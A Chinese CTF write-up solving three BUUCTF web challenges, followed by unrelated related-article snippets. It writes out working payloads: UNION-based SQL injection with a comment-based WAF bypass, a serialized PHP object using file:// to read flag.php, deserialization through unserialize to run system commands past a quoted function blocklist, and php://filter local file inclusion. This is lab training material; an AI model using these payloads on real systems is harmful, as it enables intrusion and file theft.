[BT]BUUCTF刷题第11天(3.30)

第11天

Web(共3题)

[网鼎杯 2018]Fakebook

在这里插入图片描述

打开是一个注册登录页面,包括用户、年龄和博客地址

查看题解知道存在robots.txt
访问http://c1392d44-63c3-4152-bf7e-89513eff1152.node5.buuoj.cn:81/robots.txt

User-agent: *
Disallow: /user.php.bak

再访问下载user.php.bak

查看该文件内容:

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这里可以通过curl_exec($ch)进行SSRF,读取任意文件

但是这里先把得到的文件内容放在一边,我们尝试在网站里注册一个用户

在这里插入图片描述
点击蓝色字样的admin

在这里插入图片描述

通过题解得知,上面URL的?no=1可以注入

尝试:
?no = 1 order by 4 正常回显
?no = 1 order by 5 错误回显

说明是4列

接着尝试:
no=-1 union/**/select 1,2,3,4

网站WAF过滤了union select,所以用/**/代替空格

网站用户名处回显2,并且报错提示有反序列化函数

然后尝试爆表名:

/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 

username显示users,说明表名为users

在这里插入图片描述
爆列名:

/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

爆字段:

/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

在这里插入图片描述

1    		//id列
admin    	//用户名列
74a49c698dbd3c12e36b0b287447d833f74f3937ff132ebff7054baa18623c35a705bb18b82e2ac0384b5127db97016e63609f712bc90e3506cfbea97599f46f				//密码列	
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:11;s:4:"blog";s:8:"blog.com";}  							//博客地址列

这里我们发现前三列都比较正常,但是数据库存储的博客地址是经过序列化后的数据,结合上面得到的user.php.bak,我们可以推测解题点就在于博客地址段的反序列化操作

在这里插入图片描述
根据题解,flag就在/var/www/html/flag.php

构造PHP序列化代码:

<?php
class UserInfo
{	
	public $name = "amdin";
	public $age = 11;
	public $blog="file:///var/www/html/flag.php";
	
}
$res = new UserInfo();
echo serialize($res);

序列化结果:O:8:"UserInfo":3:{s:4:"name";s:5:"amdin";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

我们构造SQL使得页面返回flag.php文件(直接查询序列化结果就会返回它):

/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"amdin";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在这里插入图片描述

查看源代码得到flag

在这里插入图片描述

该题其他题解:

?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

因为SQL没有过滤load_file,直接取得flag

[网鼎杯 2020 朱雀组]phpweb

在这里插入图片描述
打开后是一个奇怪的网页,页面会不断刷新而且左下角会实时显示时间

F12后发现两个被隐藏的POST参数,一个是func,一个是p,并且分别被设为dateY-m-d h:i:s a

在这里插入图片描述

经过查询得知date是PHP的一个函数,而Y-m-d h:i:s a是该函数的一个参数,用于输出指定格式的本地时间,因此猜测可以通过funcp进行命令执行

先尝试func=system&p=ls,作用是执行ls命令

在这里插入图片描述

但是被检测到了,说明systemls被过滤了

在这里插入图片描述

这里尝试获取该页面的源代码,查看题解,file_get_contents()可以查看文件内容并且没有被网站过滤

因此构造func=file_get_contents&p=index.php

成功获取源代码:在这里插入图片描述

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source",
    	"phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd",
    	"escapeshellarg","assert","substr_replace","call_user_func_array",
   	 	"call_user_func","array_filter", "array_walk","array_map","registregister_shutdown_function",
    	"register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", 
    	"array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

可以看到网站过滤了相当多的命令,但是没有过滤unserialize()函数,因此我们可以利用反序列化在网站内部传递funcp参数,从而进行绕过检测

构造序列化代码:

<?php
class Test {
	var $func = "system";
    var $p = "ls /";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

序列化结果:O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

构造POST:func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

执行成功

在这里插入图片描述

接下来是找到flag的位置,可以使用find / -name flag*命令
用于在文件系统的根目录 / 下搜索所有名称以 flag 开头的文件或目录

构造序列化代码:

<?php
class Test {
	var $func = "system";
    var $p = "find / -name flag*";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

序列化结果:O:4:“Test”:2:{s:1:“p”;s:18:“find / -name flag*”;s:4:“func”;s:6:“system”;}
由于空格无法在URL中传输,因此需要将序列化后的find / -name flag*/前后的的空格替换成+

O:4:"Test":2:{s:1:"p";s:18:"find+/+-name flag*";s:4:"func";s:6:"system";}

传递后得到包含flag的文件:

在这里插入图片描述

经过测试,flag就藏在/tmp/flagoefiu4r93

最后构造序列化代码:

<?php
class Test {
	var $func = "system";
    var $p = "cat /tmp/flagoefiu4r93";
    }
$test = new Test();
$str = serialize($test);
print($str);
?> 

序列化结果:O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

构造POST:func=unserialize &p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

成功拿到flag

在这里插入图片描述

[BSidesCF 2020]Had a bad day

打开网站发现有两个选项

在这里插入图片描述

点击不同的选项上方的url中的?category=meowers会跟着发生变化,例如猫的图片就是meowers

在这里插入图片描述

这里尝试改成?category=index.phpindex.php,但是url变成了?category=index.phpindex.php说明网站会自动给我们加上.php后缀

那就直接?category=index

在这里插入图片描述

发现打不开,尝试?category=php://filter/read=convert.base64-encode/resource=index(这里也要去掉多余的.php后缀)

成功拿到源码:
在这里插入图片描述

解码后PHP部分代码:

<?php
	$file = $_GET['category'];
	if(isset($file))
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))
		{
			include ($file . '.php');
		}
		else{
				echo "Sorry, we currently only support woofers and meowers.";
			}
	}
?>

分析代码知道传入的category需要有woofers,meowers,index字样才能包含传入以传入名为文件名的文件

Payload: ?category=php://filter/read=convert.base64-encode/index/resource=flag

在这里插入图片描述

成功拿到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/503289.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解决MySQL幻读?可重复读隔离级别背后的工作原理

什么是当前读和快照读 当前读&#xff1a;又称为 "锁定读"&#xff0c;它会读取记录的最新版本&#xff08;也就是最新的提交结果&#xff09;&#xff0c;并对读取到的数据加锁&#xff0c;其它事务不能修改这些数据&#xff0c;直到当前事务提交或回滚。"sele…

python统计分析——灵敏度、特异度和ROC曲线

参考资料&#xff1a;python统计分析【托马斯】 1、灵敏度和特异度 灵敏度&#xff1a;也叫作效能。被检验正确识别出来的阳性结果&#xff08;病人中有疾病且检验结果是阳性的概率&#xff09;。 特异度&#xff1a;被检验正确识别出来的阴性结果&#xff08;病人健康且检验结…

mysqldump备份数据库提示ERROR 1064 (42000): You have an error in your SQL syntax

在dos下备份数据库的时候提示上面的错误信息 1 错误详情 ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near mysql-v at line 1错误示例图 2 解决办法 通过查资料…

vue2.0脚手架搭建

vue起步 文档 https://v2.cn.vuejs.org/ {{}} 变量、表达式渲染v-html html模板&#xff0c;渲染htmlv-model 绑定值&#xff08;双向绑定&#xff09;v-if 判断v-bind&#xff1a;href"地址" 简写&#xff1a;绑定属性 简写&#xff1a;href&#xff1a;"&qu…

OpenKylin安装Kafka

一、操作系统 openKylin 1.0.1 X86 二、下载安装包 # 安装依赖jdk sudo apt-get update sudo apt-get install default-jdk # 下载kafka mkdir -p /data/software/kafka wget https://archive.apache.org/dist/kafka/2.4.1/kafka_2.13-2.4.1.tgz三、解压安装 # 解压缩Kafka…

腾讯云2核2G服务器优惠价格,61元一年

腾讯云2核2G服务器多少钱一年&#xff1f;轻量服务器61元一年&#xff0c;CVM 2核2G S5服务器313.2元15个月&#xff0c;轻量2核2G3M带宽、40系统盘&#xff0c;云服务器CVM S5实例是2核2G、50G系统盘。腾讯云2核2G服务器优惠活动 txybk.com/go/txy 链接打开如下图&#xff1a;…

【2023】kafka入门学习与使用(kafka-2)

目录&#x1f4bb; 一、基本介绍1、产生背景2、 消息队列介绍2.1、消息队列的本质作用2.2、消息队列的使用场景2.3、消息队列的两种模式2.4、消息队列选型&#xff1a; 二、kafka组件1、核心组件概念2、架构3、基本使用3.1、消费消息3.2、单播和多播消息的实现 4、主题和分区4.…

TypeScript编译器tsc的入门指南

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

货物摆放例题——(求n的所有因子+foreach循环+set集合应用)

这里写目录标题 例题引入题目分析解题方法1.暴力求解2.求n的所有的因子foreach循环 3.利用 set集合 参考文章 例题引入 题目分析 - n个都是 V1 的小正方体---》去拼成一个大的长方体---》满足nLWH - 也就是&#xff0c;在小于等于n的所有数中&#xff0c;任取3个数&#xff08…

vitess执行计划缓存 测试

打开执行计划器缓存&#xff1a; sysbench /usr/local/share/sysbench/oltp_write_only.lua --mysql-host127.0.0.1 --mysql-port15306 --mysql-userroot --mysql-password --mysql-dbcustomer --report-interval10 100s sysbench /usr/local/share/sysbench/oltp_read_only.l…

前端三剑客 —— HTML (上)

前端 前端是什么&#xff1f; 把我们的数据以各种方式&#xff08;如&#xff1a;表格、饼图、柱状图等&#xff09;呈现给用户&#xff0c;我们就可以称之为前端。 做前端需要的工具&#xff1f; notepad、editplus、notepad、VS code、webstorm等&#xff0c;一般用于前端开…

嵌入式硬件中常见的面试问题与实现

1 01 请列举您知道的电阻、电容、电感品牌(最好包括国内、国外品牌) ▶电阻 美国:AVX、VISHAY威世 日本:KOA兴亚、Kyocera京瓷、muRata村田、Panasonic松下、ROHM罗姆、susumu、TDK 台湾:LIZ丽智、PHYCOM飞元、RALEC旺诠、ROYALOHM厚生、SUPEROHM美隆、TA-I大毅、TMT…

数据结构 - 算法效率|时间复杂度|空间复杂度

目录 1.算法效率 2.时间复杂度 2.1定义 2.2大O渐近表示法 2.3常见时间复杂度计算举例 3.空间复杂度 3.1定义 3.2常见空间复杂度计算举例 1.算法效率 算法的效率常用算法复杂度来衡量&#xff0c;算法复杂度描述了算法在输入数据规模变化时&#xff0c;其运行时间和空间…

路径规划——搜索算法详解(五):Dynamic A Star(D*)算法详解与Matlab代码

昨天休息了一天&#xff0c;今天继续学习搜索算法&#xff01;前几天已经分别介绍了Dijkstra算法、Floyd算法、RRT算法、A*算法&#xff0c;无独有偶&#xff0c;上述算法都只适用于静态环境下两点规划的场景&#xff0c;但是大部分场景是实时变化的&#xff0c;这对规划算法提…

阿里云4核8G服务器ECS u1实例租用优惠价格955元一年

阿里云4核8G服务器优惠价格955元一年&#xff0c;配置为ECS通用算力型u1实例&#xff08;ecs.u1-c1m2.xlarge&#xff09;4核8G配置、1M到3M带宽可选、ESSD Entry系统盘20G到40G可选&#xff0c;CPU采用Intel(R) Xeon(R) Platinum处理器&#xff0c;阿里云活动链接 aliyunfuwuq…

手写红黑树【数据结构】

手写红黑树【数据结构】 前言版权推荐手写红黑树一、理论知识红黑树的特征增加删除 二、手写代码初始-树结点初始-红黑树初始-遍历初始-判断红黑树是否有效查找增加-1.父为黑&#xff0c;直接插入增加-2. 父叔为红&#xff0c;颜色调换增加-3. 父红叔黑&#xff0c;颜色调换&am…

相机标定学习记录

相机标定是计算机视觉和机器视觉领域中的一项基本技术&#xff0c;它的主要目的是通过获取相机的内部参数&#xff08;内参&#xff09;和外部参数&#xff08;外参&#xff09;&#xff0c;以及镜头畸变参数&#xff0c;建立起现实世界中的点与相机成像平面上对应像素点之间准…

WPF中继承ItemsControl子类控件数据模板获取选中属性

需求场景 列表类控件&#xff0c;如 ListBox、ListView、DataGrid等。显示的行数据中&#xff0c;部分内容依靠选中时触发控制&#xff0c;例如选中行时行记录复选&#xff0c;部分列内容控制显隐。 案例源码以ListView 为例。 Xaml 部分 <ListView ItemsSource"{Bi…

【Node.js】图片验证码识别

现在越来越多的网站采取图片验证码&#xff0c;防止机器恶意向服务端发送请求。但是常规的图片验证码也不是非常安全了。有非常多第三方库可以对图片上的数字文字等进行识别。 代码实现 首先安装依赖&#xff1a; npm install node-native-ocrnpm&#xff1a;(node-native-oc…

HCIA网络基础11-静态路由

文章目录 自治系统LAN和广播域路由选择路由表数据包转发最长匹配原则路由优先级路由度量静态路由配置静态路由负载分担路由备份缺省路由 以太网交换机工作在数据链路层&#xff0c;用于在网络内进行数据转发。而企业网络的拓扑结构一般会比较复杂&#xff0c;不同的部门&#x…